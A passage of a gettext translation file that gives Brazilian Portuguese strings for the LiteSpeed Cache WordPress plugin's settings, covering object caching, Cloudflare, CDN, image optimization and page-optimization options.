msgstr "Quando um visitante passar o mouse sobre um link da página, pré-carregar essa página. Isso acelerará a visita a esse link."

#: src/lang.cls.php:223
msgid "Instant Click"
msgstr "Clique instantâneo"

#: tpl/toolbox/purge.tpl.php:65
msgid "Reset the entire opcode cache"
msgstr "Redefinir todo o cache de opcode"

#: tpl/toolbox/import_export.tpl.php:59
msgid "This will import settings from a file and override all current LiteSpeed Cache settings."
msgstr "Isso irá importar configurações de um arquivo e substituir todas as configurações atuais do LiteSpeed Cache."

#: tpl/toolbox/import_export.tpl.php:54
msgid "Last imported"
msgstr "Última importação"

#: tpl/toolbox/import_export.tpl.php:48
msgid "Import"
msgstr "Importar"

#: tpl/toolbox/import_export.tpl.php:40
msgid "Import Settings"
msgstr "Importar configurações"

#: tpl/toolbox/import_export.tpl.php:36
msgid "This will export all current LiteSpeed Cache settings and save them as a file."
msgstr "Isso irá exportar todas as configurações atuais do LiteSpeed Cache e salvá-las como um arquivo."

#: tpl/toolbox/import_export.tpl.php:31
msgid "Last exported"
msgstr "Última exportação"

#: tpl/toolbox/import_export.tpl.php:25
msgid "Export"
msgstr "Exportar"

#: tpl/toolbox/import_export.tpl.php:19
msgid "Export Settings"
msgstr "Exportar configurações"

#: tpl/presets/entry.tpl.php:17 tpl/toolbox/entry.tpl.php:20
msgid "Import / Export"
msgstr "Importação/exportação"

#: tpl/cache/settings_inc.object.tpl.php:249
msgid "Use keep-alive connections to speed up cache operations."
msgstr "Use conexões keep-alive (mantenha ativa) para acelerar as operações de cache."

#: tpl/cache/settings_inc.object.tpl.php:209
msgid "Database to be used"
msgstr "Banco de dados a ser usado"

#: src/lang.cls.php:119
msgid "Redis Database ID"
msgstr "ID do banco de dados Redis"

#: tpl/cache/settings_inc.object.tpl.php:196
msgid "Specify the password used when connecting."
msgstr "Especifique a senha usada durante a conexão."

#: src/lang.cls.php:118
msgid "Password"
msgstr "Senha"

#. translators: %s: SASL
#: tpl/cache/settings_inc.object.tpl.php:180
msgid "Only available when %s is installed."
msgstr "Disponível apenas quando %s está instalado."

#: src/lang.cls.php:117
msgid "Username"
msgstr "Nome de usuário"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:99
msgid "Your %s Hostname or IP address."
msgstr "Seu nome de servidor ou endereço IP %s."

#: src/lang.cls.php:113
msgid "Method"
msgstr "Método"

#: src/purge.cls.php:473
msgid "Purge all object caches successfully."
msgstr "Limpeza de todos os caches de objetos concluída."

#: src/purge.cls.php:460
msgid "Object cache is not enabled."
msgstr "O cache de objeto não está ativado."

#: tpl/cache/settings_inc.object.tpl.php:262
msgid "Improve wp-admin speed through caching. (May encounter expired data)"
msgstr "Melhore a velocidade do wp-admin por meio de cache. (Pode encontrar dados expirados)"

#: src/lang.cls.php:123
msgid "Cache WP-Admin"
msgstr "Cache do WP-Admin"

#: src/lang.cls.php:122
msgid "Persistent Connection"
msgstr "Conexão persistente"

#: src/lang.cls.php:121
msgid "Do Not Cache Groups"
msgstr "Não armazenar grupos em cache"

#: tpl/cache/settings_inc.object.tpl.php:222
msgid "Groups cached at the network level."
msgstr "Grupos armazenados em cache no nível da rede."

#: src/lang.cls.php:120
msgid "Global Groups"
msgstr "Grupos globais"

#: tpl/cache/settings_inc.object.tpl.php:71
msgid "Connection Test"
msgstr "Teste de conexão"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:58
#: tpl/cache/settings_inc.object.tpl.php:66
msgid "%s Extension"
msgstr "Extensão %s"

#: tpl/cache/settings_inc.object.tpl.php:52 tpl/crawler/blacklist.tpl.php:42
#: tpl/crawler/summary.tpl.php:153
msgid "Status"
msgstr "Status"

#: tpl/cache/settings_inc.object.tpl.php:164
msgid "Default TTL for cached objects."
msgstr "TTL (Tempo de Vida) padrão para objetos em cache."

#: src/lang.cls.php:116
msgid "Default Object Lifetime"
msgstr "Tempo de vida padrão do objeto"

#: src/lang.cls.php:115
msgid "Port"
msgstr "Porta"

#: src/lang.cls.php:114
msgid "Host"
msgstr "Servidor"

#: src/gui.cls.php:589 src/gui.cls.php:771 src/lang.cls.php:112
#: tpl/dash/dashboard.tpl.php:60 tpl/dash/dashboard.tpl.php:603
#: tpl/toolbox/purge.tpl.php:55
msgid "Object Cache"
msgstr "Cache de objetos"

#: tpl/cache/settings_inc.object.tpl.php:28
msgid "Failed"
msgstr "Reprovado"

#: tpl/cache/settings_inc.object.tpl.php:25
msgid "Passed"
msgstr "Aprovado"

#: tpl/cache/settings_inc.object.tpl.php:23
msgid "Not Available"
msgstr "Não disponível"

#: tpl/toolbox/purge.tpl.php:56
msgid "Purge all the object caches"
msgstr "Limpar todos os caches de objetos"

#: src/cdn/cloudflare.cls.php:275 src/cdn/cloudflare.cls.php:297
msgid "Failed to communicate with Cloudflare"
msgstr "Falha ao se comunicar com o Cloudflare"

#: src/cdn/cloudflare.cls.php:288
msgid "Communicated with Cloudflare successfully."
msgstr "A comunicação com o Cloudflare foi bem-sucedida."

#: src/cdn/cloudflare.cls.php:181
msgid "No available Cloudflare zone"
msgstr "Nenhuma zona Cloudflare disponível"

#: src/cdn/cloudflare.cls.php:167
msgid "Notified Cloudflare to purge all successfully."
msgstr "O Cloudflare foi notificado para limpar tudo."

#: src/cdn/cloudflare.cls.php:151
msgid "Cloudflare API is set to off."
msgstr "A API do Cloudflare está definida como desativada."

#: src/cdn/cloudflare.cls.php:121
msgid "Notified Cloudflare to set development mode to %s successfully."
msgstr "O Cloudflare foi notificado para definir o modo de desenvolvimento para %s."

#: tpl/cdn/cf.tpl.php:60
msgid "Once saved, it will be matched with the current list and completed automatically."
msgstr "Depois de salvo, ele será correspondido com a lista atual e preenchido automaticamente."

#: tpl/cdn/cf.tpl.php:59
msgid "You can just type part of the domain."
msgstr "Você pode simplesmente digitar parte do domínio."

#: tpl/cdn/cf.tpl.php:52
msgid "Domain"
msgstr "Domínio"

#: src/lang.cls.php:246
msgid "Cloudflare API"
msgstr "API Cloudflare"

#: tpl/cdn/cf.tpl.php:162
msgid "Purge Everything"
msgstr "Limpar tudo"

#: tpl/cdn/cf.tpl.php:156
msgid "Cloudflare Cache"
msgstr "Cache do Cloudflare"

#: tpl/cdn/cf.tpl.php:151
msgid "Development Mode will be turned off automatically after three hours."
msgstr "O modo de desenvolvimento será desativado automaticamente após três horas."

#: tpl/cdn/cf.tpl.php:149
msgid "Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime."
msgstr "Ignorar temporariamente o cache do Cloudflare. Isso permite que as alterações no servidor de origem sejam vistas em tempo real."

#: tpl/cdn/cf.tpl.php:141
msgid "Development mode will be automatically turned off in %s."
msgstr "O modo de desenvolvimento será automaticamente desativado em %s."

#: tpl/cdn/cf.tpl.php:137
msgid "Current status is %s."
msgstr "O status atual é %s."

#: tpl/cdn/cf.tpl.php:129
msgid "Current status is %1$s since %2$s."
msgstr "O status atual é %1$s desde %2$s."

#: tpl/cdn/cf.tpl.php:119
msgid "Check Status"
msgstr "Verificar status"

#: tpl/cdn/cf.tpl.php:116
msgid "Turn OFF"
msgstr "DESATIVAR"

#: tpl/cdn/cf.tpl.php:113
msgid "Turn ON"
msgstr "ATIVAR"

#: tpl/cdn/cf.tpl.php:111
msgid "Development Mode"
msgstr "Modo de desenvolvimento"

#: tpl/cdn/cf.tpl.php:108
msgid "Cloudflare Zone"
msgstr "Zona do Cloudflare"

#: tpl/cdn/cf.tpl.php:107
msgid "Cloudflare Domain"
msgstr "Domínio do Cloudflare"

#: src/gui.cls.php:579 src/gui.cls.php:761 tpl/cdn/cf.tpl.php:96
#: tpl/cdn/entry.tpl.php:15
msgid "Cloudflare"
msgstr "Cloudflare"

#: tpl/page_optm/settings_html.tpl.php:45
#: tpl/page_optm/settings_html.tpl.php:76
msgid "For example"
msgstr "Por exemplo"

#: tpl/page_optm/settings_html.tpl.php:44
msgid "Prefetching DNS can reduce latency for visitors."
msgstr "O pré-carregamento de DNS pode reduzir a latência para os visitantes."

#: src/lang.cls.php:158
msgid "DNS Prefetch"
msgstr "Pré-busca de DNS"

#: tpl/page_optm/settings_media.tpl.php:45
msgid "Adding Style to Your Lazy-Loaded Images"
msgstr "Adicionando estilo às suas imagens carregadas de forma lenta"

#: src/admin-display.cls.php:1353 src/admin-display.cls.php:1372
#: tpl/cdn/other.tpl.php:108
msgid "Default value"
msgstr "Valor padrão"

#: tpl/cdn/other.tpl.php:100
msgid "Static file type links to be replaced by CDN links."
msgstr "Links de tipos de arquivos estáticos a serem substituídos por links de CDN."

#. translators: %1$s: Example query string, %2$s: Example wildcard
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:34
msgid "For example, to drop parameters beginning with %1$s, %2$s can be used here."
msgstr "Por exemplo, para remover parâmetros começando com %1$s, %2$s pode ser usado aqui."

#: src/lang.cls.php:110
msgid "Drop Query String"
msgstr "Remover string de consulta"

#: tpl/cache/settings-advanced.tpl.php:57
msgid "Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities."
msgstr "Ative esta opção se você estiver usando tanto HTTP quanto HTTPS no mesmo domínio e estiver percebendo irregularidades no cache."

#: src/lang.cls.php:222
msgid "Improve HTTP/HTTPS Compatibility"
msgstr "Melhorar a compatibilidade HTTP/HTTPS"

#: tpl/img_optm/summary.tpl.php:382
msgid "Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files."
msgstr "Remover todas as solicitações/resultados anteriores de otimização de imagem, reverter as otimizações concluídas e excluir todos os arquivos de otimização."

#: tpl/img_optm/settings.media_webp.tpl.php:34 tpl/img_optm/summary.tpl.php:378
msgid "Destroy All Optimization Data"
msgstr "Remover todos os dados de otimização"

#: tpl/img_optm/summary.tpl.php:304
msgid "Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests."
msgstr "Verifique se há novos tamanhos de miniaturas de imagens não otimizadas e reenvie as solicitações de otimização de imagem necessárias."

#: tpl/img_optm/settings.tpl.php:121
msgid "This will increase the size of optimized files."
msgstr "Isso aumentará o tamanho dos arquivos otimizados."

#: tpl/img_optm/settings.tpl.php:120
msgid "Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing."
msgstr "Preservar dados EXIF (direitos autorais, GPS, comentários, palavras-chave, etc) ao otimizar."

#: tpl/toolbox/log_viewer.tpl.php:46 tpl/toolbox/log_viewer.tpl.php:75
msgid "Clear Logs"
msgstr "Limpar registros"

#: thirdparty/woocommerce.content.tpl.php:25
msgid "To test the cart, visit the <a %s>FAQ</a>."
msgstr "Para testar o carrinho, visite <a %s>Perguntas frequentes</a>."

#: src/utility.cls.php:231
msgid " %s ago"
msgstr " %s atrás"

#: src/media.cls.php:426
msgid "WebP saved %s"
msgstr "WebP salvo %s"

#: tpl/toolbox/report.tpl.php:68
msgid "If you run into any issues, please refer to the report number in your support message."
msgstr "Se você encontrar algum problema, consulte o número do relatório em sua mensagem de suporte."

#: tpl/img_optm/summary.tpl.php:156
msgid "Last pull initiated by cron at %s."
msgstr "Última recuperação iniciada pelo cron às %s."

#: tpl/img_optm/summary.tpl.php:93
msgid "Images will be pulled automatically if the cron job is running."
msgstr "As imagens serão recuperadas automaticamente se a tarefa cron estiver em execução."

#: tpl/img_optm/summary.tpl.php:93
msgid "Only press the button if the pull cron job is disabled."
msgstr "Pressione o botão apenas se a tarefa cron de recuperação estiver desativada."

#: tpl/img_optm/summary.tpl.php:102
msgid "Pull Images"
msgstr "Recuperar imagens"

#: tpl/img_optm/summary.tpl.php:142
msgid "This process is automatic."
msgstr "Esse processo é automático."

#: tpl/dash/dashboard.tpl.php:568 tpl/img_optm/summary.tpl.php:322
msgid "Last Request"
msgstr "Última solicitação"

#: tpl/dash/dashboard.tpl.php:545 tpl/img_optm/summary.tpl.php:319
msgid "Images Pulled"
msgstr "Imagens recuperadas"

#: tpl/toolbox/entry.tpl.php:29
msgid "Report"
msgstr "Relatório"

#: tpl/toolbox/report.tpl.php:139
msgid "Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum."
msgstr "Enviar este relatório para o LiteSpeed. Faça referência a este número de relatório ao publicar no fórum de suporte do WordPress."

#: tpl/toolbox/report.tpl.php:38
msgid "Send to LiteSpeed"
msgstr "Enviar para o LiteSpeed"

#: src/media.cls.php:304
msgid "LiteSpeed Optimization"
msgstr "Otimização LiteSpeed"

#: src/lang.cls.php:165
msgid "Load Google Fonts Asynchronously"
msgstr "Carregar Google Fonts de forma assíncrona"

#: src/lang.cls.php:97
msgid "Browser Cache TTL"
msgstr "TTL do cache do navegador"

#. translators: %s: Link tags
#: tpl/img_optm/summary.tpl.php:337
msgid "Results can be checked in %sMedia Library%s."
msgstr "Os resultados podem ser verificados na %sBiblioteca de mídia%s."

#: src/doc.cls.php:87 src/doc.cls.php:139 tpl/dash/dashboard.tpl.php:186
#: tpl/dash/dashboard.tpl.php:845 tpl/general/online.tpl.php:81
#: tpl/general/online.tpl.php:93 tpl/general/online.tpl.php:109
#: tpl/general/online.tpl.php:114 tpl/img_optm/summary.tpl.php:59
#: tpl/inc/check_cache_disabled.php:46 tpl/page_optm/settings_media.tpl.php:301
msgid "Learn More"
msgstr "Saber mais"

#: tpl/img_optm/summary.tpl.php:285
msgid "Image groups total"
msgstr "Total de grupos de imagens"

#: src/lang.cls.php:28
msgid "Images optimized and pulled"
msgstr "Imagens otimizadas e recuperadas"

#: src/lang.cls.php:26 tpl/dash/dashboard.tpl.php:551
msgid "Images requested"
msgstr "Imagens solicitadas"

#: src/img-optm.cls.php:1989 src/img-optm.cls.php:2049
msgid "Switched to optimized file successfully."
msgstr "Alternado para o arquivo otimizado."

#: src/img-optm.cls.php:2043
msgid "Restored original file successfully."
msgstr "Arquivo original restaurado."

#: src/img-optm.cls.php:2013
msgid "Enabled WebP file successfully."
msgstr "Arquivo WebP ativado."

#: src/img-optm.cls.php:2008
msgid "Disabled WebP file successfully."
msgstr "Arquivo WebP desativado."

#: tpl/img_optm/settings.media_webp.tpl.php:26
msgid "Significantly improve load time by replacing images with their optimized %s versions."
msgstr "Melhorar significativamente o tempo de carregamento substituindo imagens por suas versões otimizadas em %s."

#: tpl/cache/settings-excludes.tpl.php:135
msgid "Selected roles will be excluded from cache."
msgstr "As funções selecionadas serão excluídas do cache."

#: tpl/general/entry.tpl.php:18 tpl/page_optm/entry.tpl.php:23
#: tpl/page_optm/entry.tpl.php:24
msgid "Tuning"
msgstr "Ajustes"

#: tpl/page_optm/settings_tuning.tpl.php:156
msgid "Selected roles will be excluded from all optimizations."
msgstr "As funções selecionadas serão excluídas de todas as otimizações."

#: src/lang.cls.php:177
msgid "Role Excludes"
msgstr "Exclusões de funções"

#: tpl/general/settings_tuning.tpl.php:19
#: tpl/page_optm/settings_tuning.tpl.php:29
msgid "Tuning Settings"
msgstr "Configurações de ajuste"

#: tpl/cache/settings-excludes.tpl.php:106
msgid "If the tag slug is not found, the tag will be removed from the list on save."
msgstr "Se o slug da tag não for encontrado, a tag será removida da lista ao salvar."

#: tpl/cache/settings-excludes.tpl.php:73
msgid "If the category name is not found, the category will be removed from the list on save."
msgstr "Se o nome da categoria não for encontrado, a categoria será removida da lista ao salvar."

#: tpl/img_optm/summary.tpl.php:141
msgid "After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images."
msgstr "Após o servidor de otimização de imagens QUIC.cloud concluir a otimização, ele notificará o seu site para recuperar as imagens otimizadas."

#: tpl/dash/dashboard.tpl.php:536 tpl/img_optm/summary.tpl.php:76
#: tpl/img_optm/summary.tpl.php:89
msgid "Send Optimization Request"
msgstr "Enviar solicitação de otimização"

#: tpl/img_optm/summary.tpl.php:276
msgid "Image Information"
msgstr "Informações de imagens"

#: tpl/dash/dashboard.tpl.php:542 tpl/img_optm/summary.tpl.php:316
msgid "Total Reduction"
msgstr "Redução total"

#: tpl/img_optm/summary.tpl.php:313
msgid "Optimization Summary"
msgstr "Resumo da otimização"

#: tpl/img_optm/entry.tpl.php:30
msgid "LiteSpeed Cache Image Optimization"
msgstr "Otimização de imagens do LiteSpeed Cache"

#: src/admin-display.cls.php:256 src/gui.cls.php:727
#: tpl/dash/dashboard.tpl.php:203 tpl/dash/network_dash.tpl.php:36
#: tpl/general/online.tpl.php:75 tpl/general/online.tpl.php:134
#: tpl/general/online.tpl.php:149 tpl/presets/standard.tpl.php:32
msgid "Image Optimization"
msgstr "Otimização de imagem"

#: tpl/page_optm/settings_media.tpl.php:62
msgid "For example, %s can be used for a transparent placeholder."
msgstr "Por exemplo, %s pode ser usado para um marcador de posição transparente."

#: tpl/page_optm/settings_media.tpl.php:61
msgid "By default a gray image placeholder %s will be used."
msgstr "Por padrão, um marcador de posição de imagem em cinza %s será usado."

#: tpl/page_optm/settings_media.tpl.php:60
msgid "This can be predefined in %2$s as well using constant %1$s, with this setting taking priority."
msgstr "Isso também pode ser predefinido em %2$s usando a constante %1$s, com esta configuração tendo prioridade."

#: tpl/page_optm/settings_media.tpl.php:59
msgid "Specify a base64 image to be used as a simple placeholder while images finish loading."
msgstr "Especifique uma imagem em base64 para ser usada como marcador de posição simples enquanto as imagens terminam de carregar."

#: tpl/page_optm/settings_media_exc.tpl.php:38
#: tpl/page_optm/settings_tuning.tpl.php:70
#: tpl/page_optm/settings_tuning.tpl.php:91
#: tpl/page_optm/settings_tuning.tpl.php:112
#: tpl/page_optm/settings_tuning_css.tpl.php:37
msgid "Elements with attribute %s in html code will be excluded."
msgstr "Elementos com o atributo %s no código HTML serão excluídos."

#: tpl/cache/settings-esi.tpl.php:104
#: tpl/page_optm/settings_media_exc.tpl.php:37
#: tpl/page_optm/settings_tuning.tpl.php:49
#: tpl/page_optm/settings_tuning.tpl.php:69
#: tpl/page_optm/settings_tuning.tpl.php:90
#: tpl/page_optm/settings_tuning.tpl.php:111
#: tpl/page_optm/settings_tuning.tpl.php:130
#: tpl/page_optm/settings_tuning_css.tpl.php:36
#: tpl/page_optm/settings_tuning_css.tpl.php:97
msgid "Filter %s is supported."
msgstr "O filtro %s é suportado."

#: tpl/page_optm/settings_media_exc.tpl.php:31
msgid "Listed images will not be lazy loaded."
msgstr "As imagens listadas não serão carregadas tardiamente."

#: src/lang.cls.php:184
msgid "Lazy Load Image Excludes"
msgstr "Exclusões de imagens para carregamento tardio"

#: src/gui.cls.php:539
msgid "No optimization"
msgstr "Sem otimização"

#: tpl/page_optm/settings_tuning.tpl.php:126
msgid "Prevent any optimization of listed pages."
msgstr "Impedir qualquer otimização das páginas listadas."

#: src/lang.cls.php:175
msgid "URI Excludes"
msgstr "Exclusões de URI"

#: tpl/page_optm/settings_html.tpl.php:174
msgid "Stop loading WordPress.org emoji. Browser default emoji will be displayed instead."
msgstr "Interromper o carregamento dos emojis do WordPress.org. Em vez disso, os emojis padrão do navegador serão exibidos."

#: src/doc.cls.php:125
msgid "Both full URLs and partial strings can be used."
msgstr "Podem ser usados URLs completos e strings parciais."

#: tpl/page_optm/settings_media.tpl.php:234
msgid "Load iframes only when they enter the viewport."
msgstr "Carregar iframes apenas quando entrarem na janela de visualização (viewport)."

#: src/lang.cls.php:200
msgid "Lazy Load Iframes"
msgstr "Carregamento tardio de iframes"

#: tpl/page_optm/settings_media.tpl.php:41
#: tpl/page_optm/settings_media.tpl.php:235
msgid "This can improve page loading time by reducing initial HTTP requests."
msgstr "Isso pode melhorar o tempo de carregamento da página ao reduzir as solicitações HTTP iniciais."

#: tpl/page_optm/settings_media.tpl.php:40
msgid "Load images only when they enter the viewport."
msgstr "Carregar imagens apenas quando entrarem na janela de visualização (viewport)."

#: src/lang.cls.php:183
msgid "Lazy Load Images"
msgstr "Carregamento tardio de imagens"

#: tpl/page_optm/entry.tpl.php:19 tpl/page_optm/settings_media.tpl.php:26
msgid "Media Settings"
msgstr "Configurações de mídia"

#: tpl/cache/settings-excludes.tpl.php:46
msgid "For example, for %1$s, %2$s and %3$s can be used here."
msgstr "Por exemplo, para %1$s, %2$s e %3$s podem ser usados aqui."

#: tpl/cache/settings-esi.tpl.php:113 tpl/cache/settings-purge.tpl.php:111
#: tpl/cdn/other.tpl.php:169
msgid "Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s."
msgstr "Caractere curinga %1$s é suportado (corresponde a zero ou mais caracteres). Por exemplo, para corresponder a %2$s e %3$s, use %4$s."

#. translators: %s: caret symbol
#: src/admin-display.cls.php:1538
msgid "To match the beginning, add %s to the beginning of the item."
msgstr "Para corresponder ao início, adicione %s no início do item."

#. translators: 1: example URL, 2: pattern example
#: src/admin-display.cls.php:1535
msgid "For example, for %1$s, %2$s can be used here."
msgstr "Por exemplo, para %1$s, %2$s pode ser usado aqui."

#: tpl/banner/score.php:117
msgid "Maybe later"
msgstr "Talvez mais tarde"

#: tpl/banner/score.php:116
msgid "I've already left a review"
msgstr "Já deixei uma avaliação"

#: tpl/banner/slack.php:20
msgid "Welcome to LiteSpeed"
msgstr "Boas-vindas ao LiteSpeed"

#: src/lang.cls.php:173 tpl/presets/standard.tpl.php:51
msgid "Remove WordPress Emoji"
msgstr "Remover emojis do WordPress"

#: src/gui.cls.php:547
msgid "More settings"
msgstr "Mais configurações"

#: src/gui.cls.php:528
msgid "Private cache"
msgstr "Cache privado"

#: src/gui.cls.php:517
msgid "Non cacheable"
msgstr "Não armazenável em cache"

#: src/gui.cls.php:494
msgid "Mark this page as "
msgstr "Marcar esta página como "

#: src/gui.cls.php:470 src/gui.cls.php:485
msgid "Purge this page"
msgstr "Limpar esta página"

#: src/lang.cls.php:155
msgid "Load JS Deferred"
msgstr "Carregar JS de forma adiada"

#: tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Specify critical CSS rules for above-the-fold content when enabling %s."
msgstr "Especifique regras de CSS críticas para o conteúdo acima da dobra ao ativar %s."

#: src/lang.cls.php:167
msgid "Critical CSS Rules"
msgstr "Regras de CSS crítico"

#: src/lang.cls.php:151 tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Load CSS Asynchronously"
msgstr "Carregar CSS de forma assíncrona"

#: tpl/page_optm/settings_html.tpl.php:161
msgid "Prevent Google Fonts from loading on all pages."
msgstr "Impedir o carregamento do Google Fonts em todas as páginas."

#: src/lang.cls.php:166
msgid "Remove Google Fonts"
msgstr "Remover Google Fonts"

#: tpl/page_optm/settings_css.tpl.php:216
#: tpl/page_optm/settings_html.tpl.php:175 tpl/page_optm/settings_js.tpl.php:81
msgid "This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed."
msgstr "Isso pode melhorar sua pontuação de velocidade em serviços como Pingdom, GTmetrix e PageSpeed."

#: tpl/page_optm/settings_html.tpl.php:123
msgid "Remove query strings from internal static resources."
msgstr "Remover strings de consulta de recursos estáticos internos."

#: src/lang.cls.php:164
msgid "Remove Query Strings"
msgstr "Remover strings de consulta"

#: tpl/cache/settings_inc.exclude_useragent.tpl.php:28
msgid "user agents"
msgstr "agentes de usuário"

#: tpl/cache/settings_inc.exclude_cookies.tpl.php:28
msgid "cookies"
msgstr "cookies"

#. translators: %s: Link tags
#: tpl/cache/settings_inc.browser.tpl.php:46
msgid "You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s."
msgstr "Você também pode ativar o cache do navegador no painel administrativo do servidor. %sSaiba mais sobre as configurações de cache do navegador LiteSpeed%s."

#: tpl/cache/settings_inc.browser.tpl.php:41
msgid "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files."
msgstr "O cache do navegador armazena localmente arquivos estáticos no navegador do usuário. Ative essa configuração para reduzir as solicitações repetidas de arquivos estáticos."

#: src/lang.cls.php:90 tpl/dash/dashboard.tpl.php:61
#: tpl/dash/dashboard.tpl.php:604 tpl/presets/standard.tpl.php:21
msgid "Browser Cache"
msgstr "Cache do navegador"

#: tpl/cache/settings-excludes.tpl.php:100
msgid "tags"
msgstr "tags"

#: src/lang.cls.php:135
msgid "Do Not Cache Tags"
msgstr "Não armazenar tags em cache"

#: tpl/cache/settings-excludes.tpl.php:110
msgid "To exclude %1$s, insert %2$s."
msgstr "Para excluir %1$s, insira %2$s."

#: tpl/cache/settings-excludes.tpl.php:67
msgid "categories"
msgstr "categorias"

#. translators: %s: "cookies"
#. translators: %s: "user agents"
#: tpl/cache/settings-excludes.tpl.php:67
#: tpl/cache/settings-excludes.tpl.php:100
#: tpl/cache/settings_inc.exclude_cookies.tpl.php:27
#: tpl/cache/settings_inc.exclude_useragent.tpl.php:27
msgid "To prevent %s from being cached, enter them here."
msgstr "Para impedir que %s sejam armazenados(as) em cache, digite aqui."

#: src/lang.cls.php:134
msgid "Do Not Cache Categories"
msgstr "Não armazenar categorias em cache"

#: tpl/cache/settings-excludes.tpl.php:45
msgid "Query strings containing these parameters will not be cached."
msgstr "As strings de consulta contendo esses parâmetros não serão armazenadas em cache."

#: src/lang.cls.php:133
msgid "Do Not Cache Query Strings"
msgstr "Não armazenar strings de consulta em cache"

#: tpl/cache/settings-excludes.tpl.php:30
msgid "Paths containing these strings will not be cached."
msgstr "Os caminhos contendo essas strings não serão armazenados em cache."

#: src/lang.cls.php:132
msgid "Do Not Cache URIs"
msgstr "Não armazenar URIs em cache"

#: src/admin-display.cls.php:1541 src/doc.cls.php:108
msgid "One per line."
msgstr "Um(a) por linha."

#: tpl/cache/settings-cache.tpl.php:119
msgid "URI Paths containing these strings will NOT be cached as public."
msgstr "Caminhos de URI contendo essas strings NÃO serão armazenados em cache como públicos."

#: src/lang.cls.php:109
msgid "Private Cached URIs"
msgstr "URIs em cache privado"

#: tpl/cdn/other.tpl.php:210
msgid "Paths containing these strings will not be served from the CDN."
msgstr "Caminhos contendo essas strings não serão servidos a partir do CDN."

#: src/lang.cls.php:245
msgid "Exclude Path"
msgstr "Excluir caminho"

#: src/lang.cls.php:241 tpl/cdn/other.tpl.php:113
msgid "Include File Types"
msgstr "Incluir tipos de arquivos"

#: tpl/cdn/other.tpl.php:97
msgid "Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files."
msgstr "Sirva todos os arquivos JavaScript por meio do CDN. Isso afetará todos os arquivos JavaScript WP enfileirados."

#: src/lang.cls.php:240
msgid "Include JS"
msgstr "Incluir JS"

#: tpl/cdn/other.tpl.php:94
msgid "Serve all CSS files through the CDN. This will affect all enqueued WP CSS files."
msgstr "Sirva todos os arquivos de CSS por meio do CDN. Isso afetará todos os arquivos de CSS WP enfileirados."

#: src/lang.cls.php:239
msgid "Include CSS"
msgstr "Incluir CSS"

#: tpl/cdn/other.tpl.php:87
msgid "Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes."
msgstr "Sirva todos os arquivos de imagem por meio do CDN. Isso afetará todos os anexos, tags HTML %1$s e atributos CSS %2$s."

#: src/lang.cls.php:238
msgid "Include Images"
msgstr "Incluir imagens"

#: src/admin-display.cls.php:472
msgid "CDN URL to be used. For example, %s"
msgstr "URL do CDN a ser usado. Exemplo: %s"

#: src/lang.cls.php:237
msgid "CDN URL"
msgstr "URL do CDN"

#: tpl/cdn/other.tpl.php:161
msgid "Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s."
msgstr "URL do site a ser servido através do CDN. Começando com %1$s. Por exemplo, %2$s."

#: src/lang.cls.php:243
msgid "Original URLs"
msgstr "URLs originais"

#: tpl/cdn/other.tpl.php:28
msgid "CDN Settings"
msgstr "Configurações de CDN"

#: src/admin-display.cls.php:255
msgid "CDN"
msgstr "CDN"

#: src/admin-display.cls.php:477 src/admin-display.cls.php:1158
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.object.tpl.php:280 tpl/cdn/other.tpl.php:53
#: tpl/dash/dashboard.tpl.php:69 tpl/dash/dashboard.tpl.php:461
#: tpl/dash/dashboard.tpl.php:583 tpl/dash/dashboard.tpl.php:612
#: tpl/img_optm/settings.media_webp.tpl.php:22
#: tpl/page_optm/settings_css.tpl.php:93 tpl/page_optm/settings_js.tpl.php:77
#: tpl/page_optm/settings_media.tpl.php:180
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "OFF"
msgstr "DESATIVADO"

#: src/admin-display.cls.php:476 src/admin-display.cls.php:1157
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: src/doc.cls.php:39 tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.cache_mobile.tpl.php:91 tpl/cdn/other.tpl.php:45
#: tpl/crawler/settings.tpl.php:138 tpl/dash/dashboard.tpl.php:67
#: tpl/dash/dashboard.tpl.php:459 tpl/dash/dashboard.tpl.php:581
#: tpl/dash/dashboard.tpl.php:610 tpl/page_optm/settings_css.tpl.php:220
#: tpl/page_optm/settings_media.tpl.php:176
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "ON"
msgstr "ATIVADO"

#: src/purge.cls.php:379
msgid "Notified LiteSpeed Web Server to purge CSS/JS entries."
msgstr "Servidor Web LiteSpeed notificado para limpar entradas CSS/JS."

#: tpl/page_optm/settings_html.tpl.php:31
msgid "Minify HTML content."
msgstr "Minificar conteúdo HTML."

#: src/lang.cls.php:148
msgid "HTML Minify"
msgstr "Minificar HTML"

#: src/lang.cls.php:163
msgid "JS Excludes"
msgstr "Exclusões de JS"

#: src/lang.cls.php:146
msgid "JS Combine"
msgstr "Combinar JS"

#: src/lang.cls.php:145
msgid "JS Minify"
msgstr "Minificar JS"

#: src/lang.cls.php:161
msgid "CSS Excludes"
msgstr "Exclusões de CSS"

#: src/lang.cls.php:138
msgid "CSS Combine"
msgstr "Combinar CSS"

#: src/lang.cls.php:137
msgid "CSS Minify"
msgstr "Minificar CSS"

#: tpl/page_optm/entry.tpl.php:43
msgid "Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action."
